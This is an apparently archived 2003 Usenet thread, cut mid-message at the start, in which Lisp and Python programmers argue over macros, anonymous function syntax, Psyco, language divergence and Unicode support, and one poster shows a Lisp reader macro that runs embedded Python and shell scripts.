when the code is just interpreted.

Furthermore note that this is not an implementation difference. The ANSI
standard defines the function COMPILE.

Pick your choice. "There is not only one way to do it." (tm)

Perl beat you to it -- "TMTOWTDO" (There's more than one way to
do it.). ;)

Python's reply "There should be one-- and preferably only one --
obvious way to do it."

I simply don't believe that this will work out in the long run. Not in a
truly general-purpose language.
Pascal

[Pascal Costanza]

Alex Martelli wrote:

For all I know, CLisp's macros are SO head and shoulders above any of a
quarter century ago that any vaguely remembered technical problem from
back then may be of purely historical interest. I do believe that the
divergence problem has more to do with human nature and sociology, and
that putting in a language features that encourage groups and subgroups
of users to diverge that language cannot be compensated by technical
enhancements -- it _will_, in my opinion, cause co-workers in any middle-
or large-sized organization to risk ending up standing on each others'
feet, rather than on each others' shoulders.

That's not an opinion, that's a fear.
Pascal

[Pascal Costanza]

Matthias wrote:

Why the smiley? Many hours of discussions could be spared if there
were real, scientific, solid studies on the benefit of certain
language features or languages in certain domains or for certain types
of programmers.

This presumes that language features can be judged in isolation. I think
it's rather more likely that good programming languages are holistic
systems, in the sense that the whole language is more than the sum of
its features.
Pascal

[Bengt Richter]

On Wed, 08 Oct 2003 21:29:09 GMT, Dave Benjamin <da**@3dex.com> wrote:

Alex Martelli wrote:

The only annoyance here is that there is no good 'literal' form for
a code block (Python's lambda is too puny to count as such), so you
do have to *name* the 'thefunc' argument (with a 'def' statement --
Python firmly separates statements from expressions).
Here's my non-PEP for such a feature:

return { |x, y|
print x
print y
}

Which would be the equivalent of:

def anonymous_function(x, y):
print x
print y
return anonymous_function

Why not just a nameless def with otherwise identical syntax?

def(x, y):
print x
print y

You can use parens to enclose the entire expression if context is not otherwise unambiguous.
The indents would be referenced to the def, so any nonblank line starting at or to the left
would start the continuing expression.
It's unambiguous because no dictionary literal would ever start with
'{|', it looks almost identical to a certain other language <g>, and
instead of being a special case for a function, it would just be a plain
old HOF. No more talk of puny lambda:, and we can all go home and
happily write visitor patterns and event callbacks all day long.

Then, merge map, filter, and reduce into the list type, so we can play
Smalltalk and write stuff like:

print mylist.map({ |x| return x + 2 }, range(5))

0, 2, 4, 6, 8

Or fairly vanilla:

print map((def(x):return x+2), range(5))

or using indentation instead of closing expression paren to end the suite,

print map(def(x):
return x+2
, range(5))

or if you need space for deeper indentation, put the def on its own line further to the left

print map(
def(x):
return x+2
, range(5))

If you wanted to span multiple lines, just take the first indentation
you find and start from there:

closure = True
some_screen_object.on_click = { |e|
print 'got an event: ' + e
handle_screen_object_click()
if closure = True:
go_home_happy()
}

Don't know what the closure bool is about, but, blindly translating,

some_screen_object.on_click = (
def(e):
print 'got an event: ' + e
handle_screen_object_click()
if closure: #XXX# = True:
go_home_happy()
)

The closing paren could also go on the end of the previous line,
since it is a closing expression paren around the whole nameless def,
(which means it closes all suites (and optional trailer may follow)).

This way lambda would only be needed for backwards compatibility, and
since "def(" is a syntax error now, IWT it could be introduced cleanly.

Regards,
Bengt Richter

[A.M. Kuchling]

On Thu, 09 Oct 2003 20:56:01 GMT,
Andrew Dalke <ad****@mindspring.com> wrote:

or not. The similar statement which bristles me the most is at the
top of biolisp.org, ...

Yee-*ouch*. For those not reading the site: it modifies an aphorism from
Henry Spencer to "Those who do not know Lisp are condemned to reinvent
it.... poorly," and hyperlinks it to biopython.org. Tacky. Sheesh, the
Perl/Python squabbling has pretty much died down these days; maybe they
missed the memo.

--amk

[Lulu of the Lotus-Eaters]

|> |Do they ever plan to do a compiler for it [Python]?
|> You mean like Psyco?

Kenny Tilton <kt*****@nyc.rr.com> wrote previously:
|Oh, excellent name. OK, the context was "what are Python's
|aspirations?" Is Python now no longer content to be a (very powerful)
|scripting language? Or is it just tired of being ragged on for being
|slow?

Python never had an "aspiration" of being "just a scripting language",
nor WAS it ever such a thing. From its release, Python was obviously a
language very well suited to large scale application development (as
well as to short one-off scripts).

There -is- sometimes a misguided allegation that Python is slow. It's
not. Certainly Python is faster than most of the languages with
commercial backers who make such claims (e.g. Java, VB). But indeed,
for a class of applications, pure Python is not a good choice--for
long-running, complex, scientific calculation, Fortran or C are much
better (becaue they run many times faster).

There are several approaches, however, to making applications written
mostly in Python faster (in the fairly unusual case that it needs to be
faster). One is to use extension modules--usually coded in C--to handle
the bottlenecks. Y'know, 90% of program time spent in 10% of the code,
or whatever--rewrite that 10% in C. Numerical Python is a widely used
example of this approach.

A second approach is similar: You can use Pyrex to write these
extension modules in a language that is *almost* Python. While Pyrex
syntax is close to Python, under-the-hood, it acts like a code generator
for C... so in the end, you still get an extension module.

A third approach is the simplest of all (for the end programmer, not for
Armin Rigo :-)): Use the Python Specializing Compiler (Psyco). Psyco
is a cool tool to dynamically generator x86 assembly for code paths in
Python bytecodes. Basically, the same thing as a JIT/HotSpot
environment for Java (there are some differences in exactly how it
works, but from 30,000 feet it's the same idea). Of course, no one has
ported Psyco to my Macs yet... but using it on my PCs amounts to adding
less than a half dozen (boilerplate) lines to my existing applications,
and speeds up many applications by 5-10x.

Even with the ease of Psyco, I only bother adding it to maybe 5% of the
apps I write. My 3 year old CPU runs faster than I generally need for
most pure-Python tasks. Sure, maybe I could speed up some command-line
tool that runs in 5 seconds so that they only take 1 second--but it's
quite rare that I care. And all the apps that mostly wait on sockets,
keystrokes, etc. just couldn't go any faster either way, since the
constraint is external.

Yours, Lulu...

--
mertz@ | The specter of free information is haunting the `Net! All the
gnosis | powers of IP- and crypto-tyranny have entered into an unholy
..cx | alliance...ideas have nothing to lose but their chains. Unite
| against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------

[Kenny Tilton]

Lulu of the Lotus-Eaters wrote:

Alex Martelli:
|>Why, thanks! Nice to see that I'm getting on the nerves of _some_
|>people, too, not just having them get on mine.

Doug Tolton <do**@nospam.com> wrote previously:
|Yes, this discussion is frustrating. It's deeply frustrating to hear
|someone without extensive experience with Macros arguing why they are
|so destructive.

If that is meant to address Alex Martelli, it is very deeply misguided.
If there is anyone who I can say with confidence has much more
experience--and much better understanding--of macros (or of all things
Lisp) than does Doug Tolton, it is Alex.

Yours, Lulu...

Hey! No pulling rank! :) Actually, I think we heard Mr. Martelli say
something along these lines at one point, tho I grok that he does know
his stuff. As for having "a better understanding", hmmm, check your
lotus, I think you'll find something in there about Beginner's Mind.

Alex reports his experience of The Divergence Problem and blames macros.
Hell, I worked in Tall Buildings for years. I saw Divergence,
Convergence, /and/ the dread Regurgitation Problems everywhere I went.
No macros, tho, just groups of programmers.

So I think the groups are the problem.
--
http://tilton-technology.com
What?! You are a newbie and you haven't answered my:
http://alu.cliki.net/The%20Road%20to%20Lisp%20Survey

[Kenny Tilton]

Lulu of the Lotus-Eaters wrote:

|> |Do they ever plan to do a compiler for it [Python]?
|> You mean like Psyco?

Kenny Tilton <kt*****@nyc.rr.com> wrote previously:
|Oh, excellent name. OK, the context was "what are Python's
|aspirations?" Is Python now no longer content to be a (very powerful)
|scripting language? Or is it just tired of being ragged on for being
|slow?

Python never had an "aspiration" of being "just a scripting language",
nor WAS it ever such a thing. From its release, Python was obviously a
language very well suited to large scale application development
Oh. Well then you better add macros. <g>

(as well as to short one-off scripts).

There -is- sometimes a misguided allegation that Python is slow.

Welcome to the club. :)

kenny

--
http://tilton-technology.com
What?! You are a newbie and you haven't answered my:
http://alu.cliki.net/The%20Road%20to%20Lisp%20Survey

[Terry Reedy]

"Kenny Tilton" <kt*****@nyc.rr.com> wrote in message
news:Js*******************@twister.nyc.rr.com...

You mean like Psyco?

Been there, done that. (and it's great, and getting better).
Oh, excellent name.

PYthon Specializing COmpiler, slightly permuted. Also somehow apt for
something that dynamically compiles bytecode to type-specific machine
code. Many of us did not quite believe it until the pudding was
cooked.
OK, the context was "what are Python's aspirations?"
. Is Python now no longer content to be a (very powerful) scripting
language?
Prime focus is still correct and readable code with execution speed
somewhat secondary but not ignored. The interpreter slowly speeds up;
more compiled C extension modules appear; other compilation options
appear; and 3 gig processors run Python about as fast as P125s did
with compiled C.
Or is it just tired of being ragged on for being slow?

I suspect that that pushes a bit too, but I can't speak for anyone in
particular.

Terry J. Reedy

[David Eppstein]

In article <bm**********@newsreader2.netcologne.de>,
Pascal Costanza <co******@web.de> wrote:

It's probably just because the Common Lisp community is still relatively
small at the moment. But this situation has already started to improve a
lot.

It's only been out, what, twenty years? And another twenty before that
for other lisps... How much time do you think you need?

--
David Eppstein http://www.ics.uci.edu/~eppstein/
Univ. of California, Irvine, School of Information & Computer Science

[Kenny Tilton]

David Eppstein wrote:

In article <bm**********@newsreader2.netcologne.de>,
Pascal Costanza <co******@web.de> wrote:

It's probably just because the Common Lisp community is still relatively
small at the moment. But this situation has already started to improve a
lot.

It's only been out, what, twenty years? And another twenty before that
for other lisps... How much time do you think you need?

Hey, we've been dead for thirty years, give us a break.

The bad news for other languages is that the evolution of programming
languages, like baseball, is a game played without a clock. And the game
is going our way: languages are evolving towards dynamism, reflection,
and everything else Lisp invented and still does better than anyone.
Python is promoting that sea change, and we Lispniks are forever grateful.

But will one of Perl, Python, Ruby, Dylan or Smalltalk steal the prize?
The only way to do that is to adopt sexprs and macros, and you can't do
those without becoming Lisp, at which point you lose if you do not match
the CL spec.

All your bases are us!
--
http://tilton-technology.com
What?! You are a newbie and you haven't answered my:
http://alu.cliki.net/The%20Road%20to%20Lisp%20Survey

[Greg Ewing (using news.cis.dfn.de)]

Daniel P. M. Silva wrote:

Nice! I was alluding to MzScheme's class.ss but I guess that's a fun hobby
to have. :) Do you have your class systems available anywhere to download?
I would be especially interested in them if they allow multiple
inheritance, run-time pillaging of class contracts, and explicit "this"
arguments to methods...
I might be able to dig up the most recent one, but it was
quite a few years ago.

It didn't have multiple inheritance, though, and very little
in the way of introspection abilities. Basically it just
stuffed the whole class into a big lambda expression. And
"self" wasn't really an argument, as far as I remember --
more like a sort of predefined instance variable that
always pointed to the instance itself.
You still can't add new binding constructs or safe parameterizations like a
with_directory form:

with_directory("/tmp", do_something())

Where do_something() would be evaluated with the current directory set to "
tmp" and the old pwd would be restored afterward (even in the event of an
exception).

That's true, although you don't really need macros for that,
just something like Smalltalk-style code blocks -- if anyone
can come up with a way of grafting them into the Python
syntax...

--
Greg Ewing, Computer Science Dept,
University of Canterbury,
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg

[Andrew Dalke]

Me:

2 of 6 is better than random, so Jones' work can't be
complete bunkum.

Jon S. Anthony: 2 of 6 is worse than flipping a coin.

Since I said "Of the 6 languages there are two major misorderings"
I suspect this discussion has reached the point of weariness.

Nevertheless, the ordering is 1 3 5 6 2 4

Assume a cost metric based on simple transpositions, where
neighbors can be exchanged. This is the familiar interchange
(or Shell, or bubble, or ..) sort. The degree of disorder is
the number of exchanges needed to sort the list. For the
above it is ||{2-6, 2-5, 2-3, 4-6, 4-5}|| = 5

The average number of exchanges needed to sort a randomly
arranged list with the Shell sort is N*(N-1)/4 == 7.5 for
this list of size 6, so it's already better than average.

From Knuth, Searching and Sorting, 5.1.1, Table 1, the
distribution of the number of permutations with k inversions
of a list of length 6 is
1 way to be ordered
5 to have one transpositions to be ordered
14 to be off by 2 transpositions
29
49
71
90
101
101
90
71
49
29
14
5
1 to be completely reversed

Thus there are 720 possible random orderings of a list of
size 6 and only 169 ways to be off by 5 or fewer transpositions.
meaning that there is only a 24% chance of being this good
randomly.

If I understand 5.1.1(13) well enough, the variance is
sqrt(6*(2*6+5)*(6-1)/72) == 2.66 which means we're
right on the 1 sigma threshold, or about a 75% chance
that his table was not randomly generated.

Again, this suggests Jones' work can't be complete
bunkum.

Andrew
da***@dalkescientific.com
P.S.
That's the first time in 5 years I've had to pull out Knuth. ;)

[Greg Ewing (using news.cis.dfn.de)]

Marcin 'Qrczak' Kowalczyk wrote:

Having failed with significant indents, I tried to use significant line
breaks in next incarnations of my language, which looked like a good
compromise. ... I had
troubles with designing a good syntax for some constructs, mainly
if-then-else, being constrained to syntaxes which can be nicely split
into lines.

While pondering that sort of problem one day I devised a scheme for
handling syntaxes where some line breaks are required and others are
optional.

The idea is that instead of the scanner returning line breaks as
tokens of their own, there is a flag associated with the current
token that indicates whether it is followed by a line break.

When parsing something that doesn't care whether it has line
breaks in it or not, the parser ignores this flag. But when it
gets to a point where a line break could be significant, it takes
notice of it.

For instance, when parsing

a = b +
c

the parser would ignore the line break flag while looking at
the '+' because it knows there must be more of the expression
coming. But when it gets to the 'c', it would check the line
break flag, find it set, and conclude that the expression is
finished.

This ought to allow extra line breaks to be placed wherever
they don't lead to any ambiguity.

I haven't had a chance to try this out, however, so there
may be some problems that I haven't anticipated!

--
Greg Ewing, Computer Science Dept,
University of Canterbury,
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg

[Andrew Dalke]

Pascal Costanza:

Furthermore note that this is not an implementation difference. The ANSI
standard defines the function COMPILE.
Is the implementation free to *not* compile the code when the
COMPILE function is called? That is, to leave it as is? How
would a user tell the difference without running a timing test?
I simply don't believe that this will work out in the long run. Not in a
truly general-purpose language.

Indeed. That viewpoint (agree or disagree) really is one of
underlying cultural differences which have helped .... um....
invigorate this discussion.

Andrew
da***@dalkescientific.com

[Pascal Bourguignon]

"Andrew Dalke" <ad****@mindspring.com> writes:

It's
just a reaction to Python (a perfectly nice little scripting language)
trying to morph into a language with the sophistication of Lisp.

Python isn't doing that. It's lives in a perfectly good niche wherein
Lisp is not the most appropriate language. At least not until there's a
macro which works like

(#python '
for i in range(100):
print "Spam, ",
print
)

This is trivial:

(DEFUN SPLIT-ARGUMENTS (STRING)
(DO ((CHUNKS '()) (START 0) (POS 0))
((<= (LENGTH STRING) POS)
(PROGN (WHEN (< START POS) (PUSH (SUBSEQ STRING START POS) CHUNKS))
(NREVERSE CHUNKS)))
(IF (CHAR= (CHAR STRING POS) (CHARACTER " "))
(PROGN (WHEN (< START POS) (PUSH (SUBSEQ STRING START POS) CHUNKS))
(INCF POS) (SETQ START POS))
(INCF POS)))
);;SPLIT-ARGUMENTS
(SET-DISPATCH-MACRO-CHARACTER
(CHARACTER "#") (CHARACTER "!")
(LAMBDA (STREAM CHAR ARG)
(DECLARE (IGNORE CHAR ARG))
;; first read the interpreter path and arguments.
;; next read the script up to a line beginning with "!#".
;; then generate statements to the interpreter and feed it the script.
(DO ((INTERPRETER (SPLIT-ARGUMENTS (READ-LINE STREAM NIL NIL T)))
(SCRIPT '())
(LINE (READ-LINE STREAM NIL NIL T)
(READ-LINE STREAM NIL NIL T)))
((AND (<= 2 (LENGTH LINE)) (STRING= "!#" LINE :END2 2))
`(LET ((INTERP-INPUT (EXT:RUN-PROGRAM ,(CAR INTERPRETER)
:ARGUMENTS ',(CDR INTERPRETER)
:INPUT :STREAM :OUTPUT :TERMINAL)))
;; Sorry, clisp specific. Please replace ext:run-program by
;; your favorite hook.
(DOLIST (LINE ',(NREVERSE SCRIPT))
(FORMAT INTERP-INPUT "~A~%" LINE))
(CLOSE INTERP-INPUT)))
(PUSH LINE SCRIPT))))

[27]> #!/usr/bin/python
for i in range(100):
print "Spam, ",
print ""
!#
T
[28]> Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam,
Therefore Python lives in a perfectly good niche wherein Lisp IS the
most appropriate language. QED you can forget Python.

And of course, while trivial when implemented in Lisp, it's so
powerfull it's not limited to python:

[29]> #!/bin/bash
ls -m *.lisp
!#

T
[31]> ai.lisp, antispam-test.lisp, antispam.lisp, ascii.lisp, basic.lisp,
benford.lisp, bits-old.lisp, bits.lisp, bottle.lisp, brent.lisp, c-order.lisp,
clos-test.lisp, clx-sample.lisp, clx-tutorial.lisp, compare-lts.lisp,
copy-over.lisp, dbc.lisp, ddj-combin.lisp, dec.lisp, def-if-undef.lisp,
defstrmacro.lisp, deriv.lisp, diagram.lisp, directory-and-pathname.lisp,
dot.clisprc.lisp, douze.lisp, exemple-cloture.lisp, expert.lisp, fast-io.lisp,
fibonacci.lisp, fixed-point.lisp, four.lisp, html.lisp, ib.lisp, ig.lisp,
inferior-lisp.lisp, integ.lisp, lecture-au-vol.lisp, lisp1-in-cl.lisp,
livre-qui-rend-fou.lisp, lpt-bug.clisprc.lisp, marienbad.lisp, num.lisp,
old-marienbad.lisp, packages.lisp, pg-psql.lisp, pg.lisp, pi.lisp,
picture-test.lisp, posix-dirent.lisp, protocoles.lisp, pttp-1i.lisp,
python.lisp, quine.lisp, scratch.lisp, sdraw.lisp, sum.lisp, symbol.lisp,
test-format.lisp, test-special.lisp, test.lisp, text.lisp, tree.lisp,
turing.lisp, wang.lisp, word-count.lisp

Personnaly, I prefer to write, consistently:

(dotimes (i 100)
(format t "Spam, "))
(format t "~%")
That is, consistently with the rest of my programs.

The question being whether it's better to be needing several different
languages to solve a set of problems because none of them languages is
powerful enough, or if it's better to have one good and powerful
language that helps you solve all your problems?

--
__Pascal_Bourguignon__
http://www.informatimago.com/
Do not adjust your mind, there is a fault in reality.

[Andrew Dalke]

(I really am trying to stop posting to this thread. Really I am.)

Erann Gat:

If you have no ambitions beyond writing
yet-another-standard-web-app then macros are not for you. But if your
goals run grander than that then the extra leverage that you get from
things like macros becomes very precious indeed.

Fiddlesticks. My ambitions are to help people understand biology
and chemistry by making tools to assist in managing the huge amount
of data and algorithms available in the computational life sciences.
Potentially helping find-cures-for-cancer type research. The fact
that the algorithms involved in doing so are in almost all cases
easily solved with functions instead of macros doesn't make them
nor me ambitionless.

And in those very rare cases where I need code generation,
I can emit the code and compile it into C, or built my own parse
tree in Python and generate byte code, or exec a string. They
are almost invariably part of a compute kernel which can be
treated a black box.

Andrew
da***@dalkescientific.com

[Albert Lai]

co************@attbi.com (Corey Coughlin) writes:

(Not to mention car, cdr, cadr, and
so on vs. index notation, sheesh.)
Yes, that is a real regret. It should have been useful to support
a kind of (nth 10 mylist) straight from the Scheme standard library.
Using parentheses and rpn everywhere makes lisp very easy
to parse, but I'd rather have something easy for me to understand and
That's why I prefer python, you
get a nice algebraic syntax with infix and equal signs, and it's easy
understand.
Python is
intuitive to me out of the box, and it just keeps getting better, so I
think I'll stick with it.

First, a minor correction: Lisp/Scheme is like (* 1 2) and that is
Polish Notation or prefix; Reverse Polish Notation or postfix would be
like (1 2 *).

From what I heard about the Japanese language I have formed the
possibly oversimplified impression that it is largely postfix.
Whereas in English we say "I beat you", they may say something like "I
you beat". So I suppose all of the existing programming notations -
Lisp's and Cobol's (* 1 2) and MULTIPLY 1 BY 2, Fortran's "intuitive"
1+2, and OO's one.add(two) - are very counterintuitive to them, and
they would really like the way of HP calculators, no?

And I suppose the ancient Romans (and even the modern Vaticans) would
laugh at this entire dilemma (or trilemma?) between ___fixes.

Intuition is acquired. It is purely a product of education or
brainwashing. There is nothing natural about it. And since it is
acquired, you may as well keep acquiring new intuitions and see more
horizons, rather than keep reinforcing old intuitions and stagnate.
Appreciating a foreign language such as Japanese some day is not a bad
idea.

[Andrew Dalke]

Alex:

it _will_, in my opinion, cause co-workers in any middle-
or large-sized organization to risk ending up standing on each others'
feet, rather than on each others' shoulders.

Pascal Costanza: That's not an opinion, that's a fear.

It is my opinion that covering oneself in blood then running naked
in the African veldt through a pride of hungry lions is dangerous.

You may disagree with me and label it a fear, but it's still my
opinion and I'm not going to face that fear. You're free to try, ...
so long as there's no way to sue me for liability.

Andrew
dalke2Da

[Daniel P. M. Silva]

Pascal Bourguignon wrote:

"Andrew Dalke" <ad****@mindspring.com> writes:

> It's
> just a reaction to Python (a perfectly nice little scripting language)
> trying to morph into a language with the sophistication of Lisp.

Python isn't doing that. It's lives in a perfectly good niche wherein
Lisp is not the most appropriate language. At least not until there's a
macro which works like

(#python '
for i in range(100):
print "Spam, ",
print
)

This is trivial:

(DEFUN SPLIT-ARGUMENTS (STRING)
(DO ((CHUNKS '()) (START 0) (POS 0))
((<= (LENGTH STRING) POS)
(PROGN (WHEN (< START POS) (PUSH (SUBSEQ STRING START POS) CHUNKS))
(NREVERSE CHUNKS)))
(IF (CHAR= (CHAR STRING POS) (CHARACTER " "))
(PROGN (WHEN (< START POS) (PUSH (SUBSEQ STRING START POS) CHUNKS))
(INCF POS) (SETQ START POS))
(INCF POS)))
);;SPLIT-ARGUMENTS
(SET-DISPATCH-MACRO-CHARACTER
(CHARACTER "#") (CHARACTER "!")
(LAMBDA (STREAM CHAR ARG)
(DECLARE (IGNORE CHAR ARG))
;; first read the interpreter path and arguments.
;; next read the script up to a line beginning with "!#".
;; then generate statements to the interpreter and feed it the script.
(DO ((INTERPRETER (SPLIT-ARGUMENTS (READ-LINE STREAM NIL NIL T)))
(SCRIPT '())
(LINE (READ-LINE STREAM NIL NIL T)
(READ-LINE STREAM NIL NIL T)))
((AND (<= 2 (LENGTH LINE)) (STRING= "!#" LINE :END2 2))
`(LET ((INTERP-INPUT (EXT:RUN-PROGRAM ,(CAR INTERPRETER)
:ARGUMENTS ',(CDR INTERPRETER)
:INPUT :STREAM :OUTPUT :TERMINAL)))
;; Sorry, clisp specific. Please replace ext:run-program by
;; your favorite hook.
(DOLIST (LINE ',(NREVERSE SCRIPT))
(FORMAT INTERP-INPUT "~A~%" LINE))
(CLOSE INTERP-INPUT)))
(PUSH LINE SCRIPT))))

[27]> #!/usr/bin/python
for i in range(100):
print "Spam, ",
print ""
!#
T
[28]> Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam,
[ Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam,
[Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam,
[Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam,
[Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam,
[Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam,
[Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam,
[Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam,
[Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam,
[Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam, Spam,

I think Andrew probably meant something more complicated, like this:

(define add-n (#python ' lambda x: x + LISP.top.n.python_value() '))

(define n 1)

(python-number->LISP-number (add-n 1)) ; 2

[Kenny Tilton]

Andrew Dalke wrote:

Me:

2 of 6 is better than random, so Jones' work can't be
complete bunkum.

Jon S. Anthony:

2 of 6 is worse than flipping a coin.

Since I said "Of the 6 languages there are two major misorderings"
I suspect this discussion has reached the point of weariness.

Nevertheless, the ordering is 1 3 5 6 2 4

Assume a cost metric based on simple transpositions, where
neighbors can be exchanged. This is the familiar interchange
(or Shell, or bubble, or ..) sort. The degree of disorder is
the number of exchanges needed to sort the list. For the
above it is ||{2-6, 2-5, 2-3, 4-6, 4-5}|| = 5

The average number of exchanges needed to sort a randomly
arranged list with the Shell sort is N*(N-1)/4 == 7.5 for
this list of size 6, so it's already better than average.

From Knuth, Searching and Sorting, 5.1.1, Table 1, the
distribution of the number of permutations with k inversions
of a list of length 6 is
1 way to be ordered
5 to have one transpositions to be ordered
14 to be off by 2 transpositions
29
49
71
90
101
101
90
71
49
29
14
5
1 to be completely reversed

Thus there are 720 possible random orderings of a list of
size 6 and only 169 ways to be off by 5 or fewer transpositions.
meaning that there is only a 24% chance of being this good
randomly.

If I understand 5.1.1(13) well enough, the variance is
sqrt(6*(2*6+5)*(6-1)/72) == 2.66 which means we're
right on the 1 sigma threshold, or about a 75% chance
that his table was not randomly generated.

Again, this suggests Jones' work can't be complete
bunkum.

I can see why you like studies. They are so much more malleable than
peoples' reports of their experience. With numbers you can say things
like "there is only a 25% chance I got this off a ouija (sp?) board" and
it sounds good! I think the tobacco companies can use you, they're
losing ground fast. Your research bureau can have the tag line "Our Data
Guaranteed Not /Completely/ Random!"
--
http://tilton-technology.com
What?! You are a newbie and you haven't answered my:
http://alu.cliki.net/The%20Road%20to%20Lisp%20Survey

[Lulu of the Lotus-Eaters]

Kenny Tilton <kt*****@nyc.rr.com> wrote previously:
|> It's only been out, what, twenty years? And another twenty before that
|> for other lisps... How much time do you think you need?

|Hey, we've been dead for thirty years, give us a break.
|The bad news for other languages is that the evolution of programming
|languages, like baseball, is a game played without a clock.

I would think Lisp is more like cricket: wickets bracket both ends, no
one can actually understand the rules, but at least the players wear
white.

--
Keeping medicines from the bloodstreams of the sick; food from the bellies
of the hungry; books from the hands of the uneducated; technology from the
underdeveloped; and putting advocates of freedom in prisons. Intellectual
property is to the 21st century what the slave trade was to the 16th.

[Erann Gat]

In article <tL*****************@newsread4.news.pas.earthlink. net>, "Andrew
Dalke" <ad****@mindspring.com> wrote:

(I really am trying to stop posting to this thread. Really I am.)

Erann Gat:

If you have no ambitions beyond writing
yet-another-standard-web-app then macros are not for you. But if your
goals run grander than that then the extra leverage that you get from
things like macros becomes very precious indeed.

Fiddlesticks.

I should have said "can become" instead of "becomes". Obviously some
things, even some grandly ambitious things, are best done without macros.
But not all of them. (Also, I thought I was posting to comp.lang.lisp,
not comp.lang.python, when I wrote the preceding post. Forgot to pay
attention to the followup-to header. It was not my intention to start a
flamewar.)

E.

[Christophe Rhodes]

"Andrew Dalke" <ad****@mindspring.com> writes:

Pascal Costanza:

Furthermore note that this is not an implementation difference. The ANSI
standard defines the function COMPILE.

Is the implementation free to *not* compile the code when the
COMPILE function is called? That is, to leave it as is? How
would a user tell the difference without running a timing test?

Somewhat ironically given the context, within the standard a user can
only tell whether code has been compiled by whether redefinitions of
macros affect the execution or not. (If they do, it hasn't been
compiled; if they don't, it has).

Christophe
--
http://www-jcsu.jesus.cam.ac.uk/~csr21/ [phone]/[phone]
(set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b)))
(defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge)

[james anderson]

"ol**@pobox.com" wrote:

Macros generating macros and macros that take other macros as
arguments are quite common in Scheme
...

Syntax-rule-level ??!lambda and ??!apply:
http://pobox.com/~oleg/ftp/Scheme/macros.html

interesting, but to contrast that with the referenced meta implementation, the
form of the macro argument matters:

hof hom
apply op form macro-expand (cons op form) or form
(either immediately or relegated to the compiler)

fixed-point functions fixed-point forms
are there examples where these little beasties are used in production?

....

[james anderson]

hello;

i'm trying to understand how best to approach unicode representations.
i am told the pep-0261 is the standard for python.
it was not clear what mechanism it entails for access to os-level text
management facilities on the order of osx's "apple type services for unicode
imaging"[0]. i looked through the mac extensions, but did not discern anything
relevant. can anyone point me to code in wide and narrow builds which uses
such os-level facilities. i was given a reference which appeared to concern
windows' file names, but that, as is the case with direct stream codecs, is
primarly a static situation.

i would also be interested to hear if there have been any data collected on
preponderance of wide builds, and on the consequences in those installations
for storage and algorithm efficiency.

....
[0] http://developer.apple.com/intl/atsui.html